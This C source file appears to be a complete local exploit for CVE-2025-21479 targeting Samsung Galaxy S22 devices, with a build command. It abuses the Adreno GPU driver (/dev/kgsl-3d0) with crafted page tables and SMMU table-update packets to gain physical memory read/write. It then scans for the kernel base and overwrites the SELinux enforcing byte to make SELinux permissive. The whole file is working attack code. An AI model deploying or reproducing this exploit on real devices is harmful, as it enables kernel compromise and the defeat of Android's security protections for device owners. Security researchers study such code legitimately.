// gpu_sam.c — CVE-2025-21479 // Samsung S22/S22U (SM-S901W/SM-S908W) — kernel 5.10, Android 14 // SELinux permissive from termux untrusted environment, no ADB necessary // No binary kernel parsing — all symbols from kallsyms.txt // Build: cc -o gpu_sam gpu_sam.c -ldl -llog #define __BIONIC_DEPRECATED_PAGE_SIZE_MACRO #include #include #include #include #include #include #include #include #include #include #include #include #include "adrenaline.h" // ============================================================================ // Logging // ============================================================================ static FILE *g_logfile = NULL; #define LOG(fmt, ...) do { \ fprintf(stderr, fmt, ##__VA_ARGS__); \ if (g_logfile) { fprintf(g_logfile, fmt, ##__VA_ARGS__); fflush(g_logfile); } \ } while(0) static void open_log(void) { g_logfile = fopen("/sdcard/gpu_sam.log", "a"); if (g_logfile) { time_t now = time(NULL); fprintf(g_logfile, "\n=== START: %s", ctime(&now)); fflush(g_logfile); } } // ============================================================================ // kallsyms.txt lookup — exact name match // ============================================================================ static uint64_t ksym(const char *name) { FILE *f = fopen("kallsyms.txt", "r"); if (!f) return 0; char line[512]; size_t nlen = strlen(name); uint64_t addr = 0; while (fgets(line, sizeof(line), f)) { char *p = line; while (*p == ' ' || *p == '\t') p++; char *end; uint64_t a = strtoull(p, &end, 16); if (end == p || a == 0) continue; p = end; while (*p == ' ' || *p == '\t') p++; if (*p) p++; // skip type char while (*p == ' ' || *p == '\t') p++; size_t slen = strlen(p); while (slen > 0 && (p[slen-1] == '\n' || p[slen-1] == '\r')) p[--slen] = '\0'; if (strcmp(p, name) == 0) { addr = a; break; } } fclose(f); return addr; } // ============================================================================ // Exploit context // ============================================================================ struct ctx { int fd; uint32_t ctx_id; uint32_t *payload_buf; uint64_t payload_gpuaddr; uint32_t *output_buf; uint64_t output_gpuaddr; void *spray_page; uint64_t phyaddr; uint64_t pbase; // kernel physical base uint64_t vbase; // kernel virtual base (_stext VA) // dirty PT void *garbage; uint64_t swapper_phys; uint64_t init_task_phys; uint64_t pte_a_index; uint64_t original_pte_a; }; #define VA_TO_PA(c, va) ((c)->pbase + ((va) - (c)->vbase)) // ============================================================================ // GPU infrastructure — verbatim from gpu_sam2/3 (proven stable, do not modify) // ============================================================================ static uint64_t g_l1_dcache_size; static uint64_t get_l1_dcache_size(void) { uint64_t ctr; asm("mrs\t%x0, ctr_el0" : "=r"(ctr)); return 4 << ((ctr >> 16) & 0xf); } static void sync_to_gpu(void *start, void *end) { start = (char*)((uintptr_t)start & ~(g_l1_dcache_size - 1)); for (; start < end; start += g_l1_dcache_size) __asm volatile("dc cvac, %0" : : "r"(start) : "memory"); } static void sync_from_gpu(void *start, void *end) { start = (char*)((uintptr_t)start & ~(g_l1_dcache_size - 1)); for (; start < end; start += g_l1_dcache_size) __asm volatile("dc civac, %0" : : "r"(start) : "memory"); } #define LEVEL1_SHIFT 30 #define LEVEL1_MASK (0x1fful << LEVEL1_SHIFT) #define LEVEL2_SHIFT 21 #define LEVEL2_MASK (0x1ff << LEVEL2_SHIFT) #define LEVEL3_SHIFT 12 #define LEVEL3_MASK (0x1ff << LEVEL3_SHIFT) #define ENTRY_VALID 3 #define ENTRY_RW (1 << 6) #define ENTRY_MEMTYPE_NNC (3 << 2) #define ENTRY_OUTER_SHARE (2 << 8) #define ENTRY_AF (1 << 10) #define ENTRY_NG (1 << 11) static int setup_pagetables(uint8_t *tt0, uint32_t pages, uint64_t tt0phys, uint64_t gpu_va, uint64_t target_pa) { for (int i = 0; i < (int)pages; i++) { uint64_t *base = (uint64_t*)(tt0 + i * PAGE_SIZE); memset(base, 0x45, 4096); uint64_t l1 = (gpu_va & LEVEL1_MASK) >> LEVEL1_SHIFT; uint64_t l2 = (gpu_va & LEVEL2_MASK) >> LEVEL2_SHIFT; uint64_t l3 = (gpu_va & LEVEL3_MASK) >> LEVEL3_SHIFT; if (l1 == l2 || l1 == l3 || l2 == l3) return -1; base[l1] = tt0phys | ENTRY_VALID; base[l2] = tt0phys | ENTRY_VALID; base[l3] = target_pa | ENTRY_VALID | ENTRY_RW | ENTRY_MEMTYPE_NNC | ENTRY_OUTER_SHARE | ENTRY_AF | ENTRY_NG; base[l3+1] = tt0phys | ENTRY_VALID | ENTRY_RW | ENTRY_MEMTYPE_NNC | ENTRY_OUTER_SHARE | ENTRY_AF | ENTRY_NG; for (int j = 0; j < 16; j++) { int idx = l3 + 2 + j; if ((uint64_t)idx == l1 || (uint64_t)idx == l2 || (uint64_t)idx == l3) return -1; base[idx] = (target_pa + j * 0x1000) | ENTRY_VALID | ENTRY_RW | ENTRY_MEMTYPE_NNC | ENTRY_OUTER_SHARE | ENTRY_AF | ENTRY_NG; } } return 0; } #define CP_SET_DRAW_STATE 0x43 #define CP_SET_MODE 0x63 #define CP_INVALIDATE_STATE 0x2c #define CP_SMMU_TABLE_UPDATE 0x53 #define DRAW_STATE_MODE_BINNING 0x1 #define DRAW_STATE_MODE_GMEM 0x2 #define DRAW_STATE_MODE_BYPASS 0x4 static int g_gpu_va_slot = 2; static uint64_t next_gpu_va(void) { if (++g_gpu_va_slot > 14) g_gpu_va_slot = 3; return 0x40400000ULL | ((uint64_t)g_gpu_va_slot << 12); } static int kgsl_ctx_create(int fd, uint32_t *id) { struct kgsl_drawctxt_create req = { .flags = 0x00001812 }; int r = ioctl(fd, IOCTL_KGSL_DRAWCTXT_CREATE, &req); if (!r) *id = req.drawctxt_id; return r; } static int kgsl_ctx_destroy(int fd, uint32_t id) { struct kgsl_drawctxt_destroy req = { .drawctxt_id = id }; return ioctl(fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &req); } static int kgsl_map(int fd, unsigned long ptr, size_t len, uint64_t *gpuaddr) { struct kgsl_map_user_mem req = { .len = len, .offset = 0, .hostptr = ptr, .memtype = KGSL_USER_MEM_TYPE_ADDR, }; int r = ioctl(fd, IOCTL_KGSL_MAP_USER_MEM, &req); if (!r) *gpuaddr = req.gpuaddr; return r; } static int do_gpu_op(int fd, uint32_t ctx_id, uint32_t *fb, uint64_t fb_gpu, uint64_t phyaddr, uint64_t marker_addr, bool write, uint64_t rw_addr, uint32_t count, uint32_t *vals) { uint32_t *ds = fb + 0x100; uint64_t ds_gpu = fb_gpu + 0x100 * sizeof(uint32_t); uint32_t *p = ds; *p++ = cp_type7_packet(CP_SMMU_TABLE_UPDATE, 4); p += cp_gpuaddr(p, phyaddr); *p++ = 0; *p++ = 0; *p++ = cp_type7_packet(CP_INVALIDATE_STATE, 1); *p++ = 0x0000000f; p += cp_wait_for_me(p); p += cp_wait_for_idle(p); // TLB warmup read *p++ = cp_type7_packet(CP_MEM_TO_MEM, 5); *p++ = 0; p += cp_gpuaddr(p, marker_addr + 4); p += cp_gpuaddr(p, rw_addr); if (write) { *p++ = cp_type7_packet(CP_MEM_WRITE, 2 + count); p += cp_gpuaddr(p, rw_addr); for (uint32_t i = 0; i < count; i++) *p++ = vals[i]; } else { for (uint32_t i = 0; i < count; i++) { *p++ = cp_type7_packet(CP_MEM_TO_MEM, 5); *p++ = 0; p += cp_gpuaddr(p, marker_addr + 4 + 4*i); p += cp_gpuaddr(p, rw_addr + i * 0x1000); } } *p++ = cp_type7_packet(CP_MEM_WRITE, 3); p += cp_gpuaddr(p, marker_addr); *p++ = 0x41414141; uint32_t *wp = fb; *wp++ = cp_type7_packet(CP_SET_MODE, 1); *wp++ = 1; *wp++ = cp_type7_packet(CP_SET_DRAW_STATE, 3); *wp++ = (p - ds) | ((DRAW_STATE_MODE_BINNING | DRAW_STATE_MODE_GMEM | DRAW_STATE_MODE_BYPASS) << 20); wp += cp_gpuaddr(wp, ds_gpu); uint32_t cmd_size = (wp - fb) * sizeof(uint32_t); sync_to_gpu(fb, (char*)fb + 0x1000); struct kgsl_command_object cmd = { .flags = KGSL_CMDLIST_IB, .gpuaddr = fb_gpu, .size = cmd_size, }; struct kgsl_gpu_command req = { .flags = 0, .context_id = ctx_id, .cmdlist = (unsigned long)&cmd, .cmdsize = sizeof(cmd), .numcmds = 1, }; int err = ioctl(fd, IOCTL_KGSL_GPU_COMMAND, &req); if (err) LOG("[!!] GPU command failed: %s (errno=%d)\n", strerror(errno), errno); return err; } static int gpu_read_u32(struct ctx *c, uint64_t target_pa, uint32_t *out) { kgsl_ctx_destroy(c->fd, c->ctx_id); if (kgsl_ctx_create(c->fd, &c->ctx_id)) return -1; uint64_t gpu_va = next_gpu_va(); if (setup_pagetables(c->spray_page, 1, c->phyaddr, gpu_va, target_pa & ~0xfffull)) return -1; *(uint32_t*)((uint8_t*)c->spray_page + 0x100) = 0; *(uint32_t*)((uint8_t*)c->spray_page + 0x104) = 0xDEADBEEF; sync_to_gpu(c->spray_page, (char*)c->spray_page + 0x1000); if (do_gpu_op(c->fd, c->ctx_id, c->payload_buf, c->payload_gpuaddr, c->phyaddr, gpu_va + 0x1100, false, gpu_va + (target_pa & 0xfffull), 1, NULL)) return -1; for (int t = 0; t < 200; t++) { usleep(1000); sync_from_gpu(c->spray_page, (char*)c->spray_page + 0x1000); if (*(uint32_t*)((uint8_t*)c->spray_page + 0x100) == 0x41414141) { uint32_t val = *(uint32_t*)((uint8_t*)c->spray_page + 0x104); if (val == 0xDEADBEEF) return -1; *out = val; return 0; } } return -1; } static int gpu_write_u64(struct ctx *c, uint64_t target_pa, uint64_t val) { uint64_t gpu_va = next_gpu_va(); if (setup_pagetables(c->spray_page, 1, c->phyaddr, gpu_va, target_pa & ~0xfffull)) return -1; sync_to_gpu(c->spray_page, (char*)c->spray_page + 0x1000); uint32_t vals[2] = { (uint32_t)val, (uint32_t)(val >> 32) }; if (do_gpu_op(c->fd, c->ctx_id, c->payload_buf, c->payload_gpuaddr, c->phyaddr, gpu_va + 0x1100, true, gpu_va + (target_pa & 0xfffull), 2, vals)) return -1; for (int t = 0; t < 200; t++) { usleep(5000); sync_from_gpu(c->spray_page, (char*)c->spray_page + 0x1000); if (*(uint32_t*)((uint8_t*)c->spray_page + 0x100) == 0x41414141) return 0; } kgsl_ctx_destroy(c->fd, c->ctx_id); kgsl_ctx_create(c->fd, &c->ctx_id); return -1; } static int gpu_read_u64(struct ctx *c, uint64_t pa, uint64_t *out) { uint32_t lo = 0, hi = 0; if (gpu_read_u32(c, pa, &lo)) return 1; if (gpu_read_u32(c, pa + 4, &hi)) return 1; *out = ((uint64_t)hi << 32) | lo; return 0; } // ============================================================================ // Spray + kernel base scan // ============================================================================ #define NPBUFS 256 #define BUF_LEN (PAGE_SIZE * 2048) // 8MB per buffer static int phase_spray(struct ctx *c) { const uint64_t candidates[] = { 0xC0000000, 0xE0000000 }; const int ncand = 2; c->fd = open("/dev/kgsl-3d0", O_RDWR|O_CLOEXEC); if (c->fd < 0) { LOG("[!!] Can't open kgsl-3d0\n"); return 1; } if (kgsl_ctx_create(c->fd, &c->ctx_id)) { LOG("[!!] ctx_create\n"); return 1; } c->payload_buf = mmap(NULL, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); c->output_buf = mmap(NULL, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); if (c->payload_buf == MAP_FAILED || c->output_buf == MAP_FAILED) { LOG("[!!] mmap bufs\n"); return 1; } kgsl_map(c->fd, (unsigned long)c->payload_buf, PAGE_SIZE, &c->payload_gpuaddr); kgsl_map(c->fd, (unsigned long)c->output_buf, PAGE_SIZE, &c->output_gpuaddr); uint8_t *pbufs[NPBUFS] = {0}; for (int ci = 0; ci < ncand; ci++) { uint64_t phyaddr = candidates[ci]; for (int i = 0; i < NPBUFS; i++) { pbufs[i] = mmap(NULL, BUF_LEN, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); if (pbufs[i] == MAP_FAILED) { LOG("[!!] mmap pbuf %d\n", i); return 1; } setup_pagetables(pbufs[i], BUF_LEN/PAGE_SIZE, phyaddr, 0x40403000, phyaddr); sync_to_gpu(pbufs[i], pbufs[i] + BUF_LEN); } do_gpu_op(c->fd, c->ctx_id, c->payload_buf, c->payload_gpuaddr, phyaddr, 0x40403000 + 0x1100, false, 0x40403000, 1, NULL); sleep(1); int target = -1; void *target_page = NULL; for (int i = 0; i < NPBUFS && target < 0; i++) { for (size_t off = 0; off < BUF_LEN; off += PAGE_SIZE) { void *pg = pbufs[i] + off; sync_from_gpu(pg, (char*)pg + PAGE_SIZE); if (*(uint32_t*)((char*)pg + 0x100) == 0x41414141) { target = i; target_page = pg; break; } } } if (target < 0) { for (int i = 0; i < NPBUFS; i++) munmap(pbufs[i], BUF_LEN); // Reset GPU completely before next candidate kgsl_ctx_destroy(c->fd, c->ctx_id); close(c->fd); sleep(1); c->fd = open("/dev/kgsl-3d0", O_RDWR|O_CLOEXEC); if (c->fd < 0) return 1; if (kgsl_ctx_create(c->fd, &c->ctx_id)) return 1; kgsl_map(c->fd, (unsigned long)c->payload_buf, PAGE_SIZE, &c->payload_gpuaddr); kgsl_map(c->fd, (unsigned long)c->output_buf, PAGE_SIZE, &c->output_gpuaddr); continue; } LOG("[+] Spray hit on candidate 0x%lx\n", phyaddr); kgsl_ctx_destroy(c->fd, c->ctx_id); kgsl_ctx_create(c->fd, &c->ctx_id); // Kernel base scan c->spray_page = target_page; c->phyaddr = phyaddr; int scan_count = 0; for (uint64_t addr = 0xa8000000; addr < 0xa8500000; addr += 0x8000) { kgsl_ctx_destroy(c->fd, c->ctx_id); kgsl_ctx_create(c->fd, &c->ctx_id); uint32_t v1 = 0; int r1 = gpu_read_u32(c, addr, &v1); uint32_t v2 = 0; int r2 = gpu_read_u32(c, addr + 4, &v2); LOG("[*] scan addr=0x%lx r1=%d v1=0x%08x r2=%d v2=0x%08x\n", addr, r1, v1, r2, v2); if (r1) continue; if (v1 != 0xd503233f) continue; if (r2 || v2 != 0xd10203ff) continue; LOG("[+] _text phys=0x%lx pbase=0x%lx\n", addr, addr - 0x10000); c->pbase = addr - 0x10000; for (int i = 0; i < NPBUFS; i++) { if (i != target) munmap(pbufs[i], BUF_LEN); } return 0; } LOG("[!] Scan found no kernel base on 0x%lx\n", phyaddr); for (int i = 0; i < NPBUFS; i++) munmap(pbufs[i], BUF_LEN); } LOG("[!!] Spray failed\n"); return 1; } // ============================================================================ // main // ============================================================================ int main(void) { open_log(); g_l1_dcache_size = get_l1_dcache_size(); LOG("[*] gpu_sam4 — clean rewrite\n"); // -------------------------------------------------------- // Step 1: Read all needed symbols from kallsyms.txt // -------------------------------------------------------- uint64_t vbase = ksym("_text"); if (!vbase) vbase = ksym("_stext"); if (!vbase) { LOG("[!!] Can't find _text/_stext in kallsyms.txt\n"); return 1; } LOG("[*] vbase: 0x%lx\n", vbase); uint64_t enforcing_va = ksym("selinux_state"); if (!enforcing_va) { LOG("[!!] selinux_state not found\n"); return 1; } LOG("[*] selinux_state: 0x%lx\n", enforcing_va); struct ctx c = {0}; if (phase_spray(&c)) return 1; if (!c.pbase) { LOG("[!!] No pbase\n"); return 1; } c.vbase = vbase; LOG("[*] pbase: 0x%lx\n", c.pbase); kgsl_ctx_destroy(c.fd, c.ctx_id); kgsl_ctx_create(c.fd, &c.ctx_id); uint64_t selinux_pa = VA_TO_PA(&c, enforcing_va); LOG("[*] selinux_state PA: 0x%lx\n", selinux_pa); int got_read = 0; for (int attempt = 0; attempt < 10; attempt++) { kgsl_ctx_destroy(c.fd, c.ctx_id); kgsl_ctx_create(c.fd, &c.ctx_id); uint32_t cur = 0; if (gpu_read_u32(&c, selinux_pa, &cur) == 0) { LOG("[*] selinux_state[0] = 0x%08x\n", cur); if (cur != 0x45454545 && cur != 0xCAFEBABE && cur != 0xDEADBEEF) { got_read = 1; break; } } } int write_ok = 0; for (int attempt = 0; attempt < 5; attempt++) { kgsl_ctx_destroy(c.fd, c.ctx_id); kgsl_ctx_create(c.fd, &c.ctx_id); uint32_t cur_lo = 0, cur_hi = 0; gpu_read_u32(&c, selinux_pa, &cur_lo); kgsl_ctx_destroy(c.fd, c.ctx_id); kgsl_ctx_create(c.fd, &c.ctx_id); gpu_read_u32(&c, selinux_pa + 4, &cur_hi); uint64_t patched = (((uint64_t)cur_hi << 32) | cur_lo) & ~0xFFULL; LOG("[*] cur=0x%08x%08x patched=0x%lx\n", cur_hi, cur_lo, patched); kgsl_ctx_destroy(c.fd, c.ctx_id); kgsl_ctx_create(c.fd, &c.ctx_id); if (gpu_write_u64(&c, selinux_pa, patched) == 0) { LOG("[+] Write attempt %d: sentinel OK\n", attempt); kgsl_ctx_destroy(c.fd, c.ctx_id); kgsl_ctx_create(c.fd, &c.ctx_id); uint32_t check = 0x99; if (gpu_read_u32(&c, selinux_pa, &check) == 0) { LOG("[*] Readback: 0x%08x\n", check); if ((check & 0xFF) == 0) { LOG("[+] CONFIRMED: enforcing byte zeroed!\n"); write_ok = 1; break; } } } } if (!write_ok) LOG("[!] Could not confirm selinux write\n"); return 0; }